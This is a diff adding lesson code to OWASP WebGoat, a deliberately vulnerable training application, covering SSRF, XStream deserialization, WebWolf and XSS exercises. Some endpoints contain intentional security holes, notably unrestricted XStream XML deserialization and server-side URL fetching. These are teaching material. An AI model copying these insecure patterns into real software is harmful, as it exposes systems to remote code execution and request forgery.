This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class SSRF extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A10; + } + + @Override + public String getTitle() { + return "ssrf.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask1.java b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask1.java new file mode 100644 index 000000000..210c98421 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask1.java @@ -0,0 +1,66 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.ssrf; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"ssrf.hint1", "ssrf.hint2"}) +public class SSRFTask1 extends AssignmentEndpoint { + + @PostMapping("/SSRF/task1") + @ResponseBody + public AttackResult completed(@RequestParam String url) { + return stealTheCheese(url); + } + + protected AttackResult stealTheCheese(String url) { + try { + StringBuilder html = new StringBuilder(); + + if (url.matches("images/tom.png")) { + html.append( + "\"Tom\""); + return failed(this).feedback("ssrf.tom").output(html.toString()).build(); + } else if (url.matches("images/jerry.png")) { + html.append( + "\"Jerry\""); + return success(this).feedback("ssrf.success").output(html.toString()).build(); + } else { + html.append("\"Silly"); + return failed(this).feedback("ssrf.failure").output(html.toString()).build(); + } + } catch (Exception e) { + e.printStackTrace(); + return failed(this).output(e.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask2.java b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask2.java new file mode 100644 index 000000000..cb58bd63d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask2.java @@ -0,0 +1,72 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.ssrf; + +import java.io.IOException; +import java.io.InputStream; +import java.net.MalformedURLException; +import java.net.URL; +import java.nio.charset.StandardCharsets; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"ssrf.hint3"}) +public class SSRFTask2 extends AssignmentEndpoint { + + @PostMapping("/SSRF/task2") + @ResponseBody + public AttackResult completed(@RequestParam String url) { + return furBall(url); + } + + protected AttackResult furBall(String url) { + if (url.matches("http://ifconfig.pro")) { + String html; + try (InputStream in = new URL(url).openStream()) { + html = + new String(in.readAllBytes(), StandardCharsets.UTF_8) + .replaceAll("\n", "
"); // Otherwise the \n gets escaped in the response + } catch (MalformedURLException e) { + return getFailedResult(e.getMessage()); + } catch (IOException e) { + // in case the external site is down, the test and lesson should still be ok + html = + "Although the http://ifconfig.pro site is down, you still managed to solve" + + " this exercise the right way!"; + } + return success(this).feedback("ssrf.success").output(html).build(); + } + var html = "\"image"; + return getFailedResult(html); + } + + private AttackResult getFailedResult(String errorMsg) { + return failed(this).feedback("ssrf.failure").output(errorMsg).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/Contact.java b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/Contact.java new file mode 100644 index 000000000..32c4df24a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/Contact.java @@ -0,0 +1,42 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.vulnerablecomponents; + +public interface Contact { + + public Integer getId(); + + public void setId(Integer id); + + public String getFirstName(); + + public void setFirstName(String firstName); + + public String getLastName(); + + public void setLastName(String lastName); + + public String getEmail(); + + public void setEmail(String email); +} diff --git a/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/ContactImpl.java b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/ContactImpl.java new file mode 100644 index 000000000..f69b253e7 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/ContactImpl.java @@ -0,0 +1,34 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.vulnerablecomponents; + +import lombok.Data; + +@Data +public class ContactImpl implements Contact { + + private Integer id; + private String firstName; + private String lastName; + private String email; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponents.java b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponents.java new file mode 100644 index 000000000..a868727db --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponents.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.vulnerablecomponents; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class VulnerableComponents extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A6; + } + + @Override + public String getTitle() { + return "vulnerable-components.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponentsLesson.java b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponentsLesson.java new file mode 100644 index 000000000..ad1a91cc4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponentsLesson.java @@ -0,0 +1,75 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.vulnerablecomponents; + +import com.thoughtworks.xstream.XStream; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"vulnerable.hint"}) +public class VulnerableComponentsLesson extends AssignmentEndpoint { + + @PostMapping("/VulnerableComponents/attack1") + public @ResponseBody AttackResult completed(@RequestParam String payload) { + XStream xstream = new XStream(); + xstream.setClassLoader(Contact.class.getClassLoader()); + xstream.alias("contact", ContactImpl.class); + xstream.ignoreUnknownElements(); + Contact contact = null; + + try { + if (!StringUtils.isEmpty(payload)) { + payload = + payload + .replace("+", "") + .replace("\r", "") + .replace("\n", "") + .replace("> ", ">") + .replace(" <", "<"); + } + contact = (Contact) xstream.fromXML(payload); + } catch (Exception ex) { + return failed(this).feedback("vulnerable-components.close").output(ex.getMessage()).build(); + } + + try { + if (null != contact) { + contact.getFirstName(); // trigger the example like + // https://x-stream.github.io/CVE-2013-7285.html + } + if (!(contact instanceof ContactImpl)) { + return success(this).feedback("vulnerable-components.success").build(); + } + } catch (Exception e) { + return success(this).feedback("vulnerable-components.success").output(e.getMessage()).build(); + } + return failed(this).feedback("vulnerable-components.fromXML").feedbackArgs(contact).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/webgoatintroduction/WebGoatIntroduction.java b/src/main/java/org/owasp/webgoat/lessons/webgoatintroduction/WebGoatIntroduction.java new file mode 100644 index 000000000..6c2171e9a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/webgoatintroduction/WebGoatIntroduction.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.webgoatintroduction; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class WebGoatIntroduction extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.INTRODUCTION; + } + + @Override + public String getTitle() { + return "webgoat.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/Email.java b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/Email.java new file mode 100644 index 000000000..b1a3442b3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/Email.java @@ -0,0 +1,15 @@ +package org.owasp.webgoat.lessons.webwolfintroduction; + +import java.io.Serializable; +import lombok.Builder; +import lombok.Data; + +@Builder +@Data +public class Email implements Serializable { + + private String contents; + private String sender; + private String title; + private String recipient; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/LandingAssignment.java b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/LandingAssignment.java new file mode 100644 index 000000000..c6e9e0493 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/LandingAssignment.java @@ -0,0 +1,67 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.webwolfintroduction; + +import java.net.URI; +import java.net.URISyntaxException; +import javax.servlet.http.HttpServletRequest; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.servlet.ModelAndView; + +/** + * @author nbaars + * @since 8/20/17. + */ +@RestController +public class LandingAssignment extends AssignmentEndpoint { + + @Value("${webwolf.landingpage.url}") + private String landingPageUrl; + + @PostMapping("/WebWolf/landing") + @ResponseBody + public AttackResult click(String uniqueCode) { + if (StringUtils.reverse(getWebSession().getUserName()).equals(uniqueCode)) { + return success(this).build(); + } + return failed(this).feedback("webwolf.landing_wrong").build(); + } + + @GetMapping("/WebWolf/landing/password-reset") + public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException { + URI uri = new URI(request.getRequestURL().toString()); + ModelAndView modelAndView = new ModelAndView(); + modelAndView.addObject("webwolfUrl", landingPageUrl); + modelAndView.addObject("uniqueCode", StringUtils.reverse(getWebSession().getUserName())); + + modelAndView.setViewName("lessons/webwolfintroduction/templates/webwolfPasswordReset.html"); + return modelAndView; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/MailAssignment.java b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/MailAssignment.java new file mode 100644 index 000000000..8dd168d6e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/MailAssignment.java @@ -0,0 +1,92 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.webwolfintroduction; + +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.client.RestClientException; +import org.springframework.web.client.RestTemplate; + +/** + * @author nbaars + * @since 8/20/17. + */ +@RestController +public class MailAssignment extends AssignmentEndpoint { + + private final String webWolfURL; + private RestTemplate restTemplate; + + public MailAssignment( + RestTemplate restTemplate, @Value("${webwolf.mail.url}") String webWolfURL) { + this.restTemplate = restTemplate; + this.webWolfURL = webWolfURL; + } + + @PostMapping("/WebWolf/mail/send") + @ResponseBody + public AttackResult sendEmail(@RequestParam String email) { + String username = email.substring(0, email.indexOf("@")); + if (username.equalsIgnoreCase(getWebSession().getUserName())) { + Email mailEvent = + Email.builder() + .recipient(username) + .title("Test messages from WebWolf") + .contents( + "This is a test message from WebWolf, your unique code is: " + + StringUtils.reverse(username)) + .sender("webgoat@owasp.org") + .build(); + try { + restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); + } catch (RestClientException e) { + return informationMessage(this) + .feedback("webwolf.email_failed") + .output(e.getMessage()) + .build(); + } + return informationMessage(this).feedback("webwolf.email_send").feedbackArgs(email).build(); + } else { + return informationMessage(this) + .feedback("webwolf.email_mismatch") + .feedbackArgs(username) + .build(); + } + } + + @PostMapping("/WebWolf/mail") + @ResponseBody + public AttackResult completed(@RequestParam String uniqueCode) { + if (uniqueCode.equals(StringUtils.reverse(getWebSession().getUserName()))) { + return success(this).build(); + } else { + return failed(this).feedbackArgs("webwolf.code_incorrect").feedbackArgs(uniqueCode).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/WebWolfIntroduction.java b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/WebWolfIntroduction.java new file mode 100644 index 000000000..39fe97e2d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/WebWolfIntroduction.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.webwolfintroduction; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class WebWolfIntroduction extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.INTRODUCTION; + } + + @Override + public String getTitle() { + return "webwolf.title"; + } +} diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/Comment.java b/src/main/java/org/owasp/webgoat/lessons/xss/Comment.java similarity index 72% rename from webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/Comment.java rename to src/main/java/org/owasp/webgoat/lessons/xss/Comment.java index bce74cc40..b0b719b21 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/Comment.java +++ b/src/main/java/org/owasp/webgoat/lessons/xss/Comment.java @@ -1,12 +1,11 @@ -package org.owasp.webgoat.plugin; +package org.owasp.webgoat.lessons.xss; +import javax.xml.bind.annotation.XmlRootElement; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.NoArgsConstructor; import lombok.Setter; -import javax.xml.bind.annotation.XmlRootElement; - /** * @author nbaars * @since 4/8/17. @@ -17,7 +16,7 @@ import javax.xml.bind.annotation.XmlRootElement; @NoArgsConstructor @XmlRootElement public class Comment { - private String user; - private String dateTime; - private String text; + private String user; + private String dateTime; + private String text; } diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScripting.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScripting.java new file mode 100644 index 000000000..9068e030f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScripting.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class CrossSiteScripting extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A3; + } + + @Override + public String getTitle() { + return "xss.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson1.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson1.java new file mode 100644 index 000000000..114632ef5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson1.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class CrossSiteScriptingLesson1 extends AssignmentEndpoint { + + @PostMapping("/CrossSiteScripting/attack1") + @ResponseBody + public AttackResult completed( + @RequestParam(value = "checkboxAttack1", required = false) String checkboxValue) { + if (checkboxValue != null) { + return success(this).build(); + } else { + return failed(this).feedback("xss.lesson1.failure").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson3.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson3.java new file mode 100644 index 000000000..fcd9138da --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson3.java @@ -0,0 +1,89 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import org.jsoup.Jsoup; +import org.jsoup.nodes.Document; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +// @RestController +@Deprecated +// TODO This assignment seems not to be in use in the UI +// it is there to make sure the lesson can be marked complete +// in order to restore it, make it accessible through the UI and uncomment RestController +@AssignmentHints( + value = { + "xss-mitigation-3-hint1", + "xss-mitigation-3-hint2", + "xss-mitigation-3-hint3", + "xss-mitigation-3-hint4" + }) +public class CrossSiteScriptingLesson3 extends AssignmentEndpoint { + + @PostMapping("/CrossSiteScripting/attack3") + @ResponseBody + public AttackResult completed(@RequestParam String editor) { + String unescapedString = org.jsoup.parser.Parser.unescapeEntities(editor, true); + try { + if (editor.isEmpty()) return failed(this).feedback("xss-mitigation-3-no-code").build(); + Document doc = Jsoup.parse(unescapedString); + String[] lines = unescapedString.split(""); + + String include = (lines[0]); + String fistNameElement = + doc.select("body > table > tbody > tr:nth-child(1) > td:nth-child(2)").first().text(); + String lastNameElement = + doc.select("body > table > tbody > tr:nth-child(2) > td:nth-child(2)").first().text(); + + Boolean includeCorrect = false; + Boolean firstNameCorrect = false; + Boolean lastNameCorrect = false; + + if (include.contains("<%@") + && include.contains("taglib") + && include.contains("uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\"") + && include.contains("%>")) { + includeCorrect = true; + } + if (fistNameElement.equals("${e:forHtml(param.first_name)}")) { + firstNameCorrect = true; + } + if (lastNameElement.equals("${e:forHtml(param.last_name)}")) { + lastNameCorrect = true; + } + + if (includeCorrect && firstNameCorrect && lastNameCorrect) { + return success(this).feedback("xss-mitigation-3-success").build(); + } else { + return failed(this).feedback("xss-mitigation-3-failure").build(); + } + } catch (Exception e) { + return failed(this).output(e.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson4.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson4.java new file mode 100644 index 000000000..7a487471e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson4.java @@ -0,0 +1,64 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained 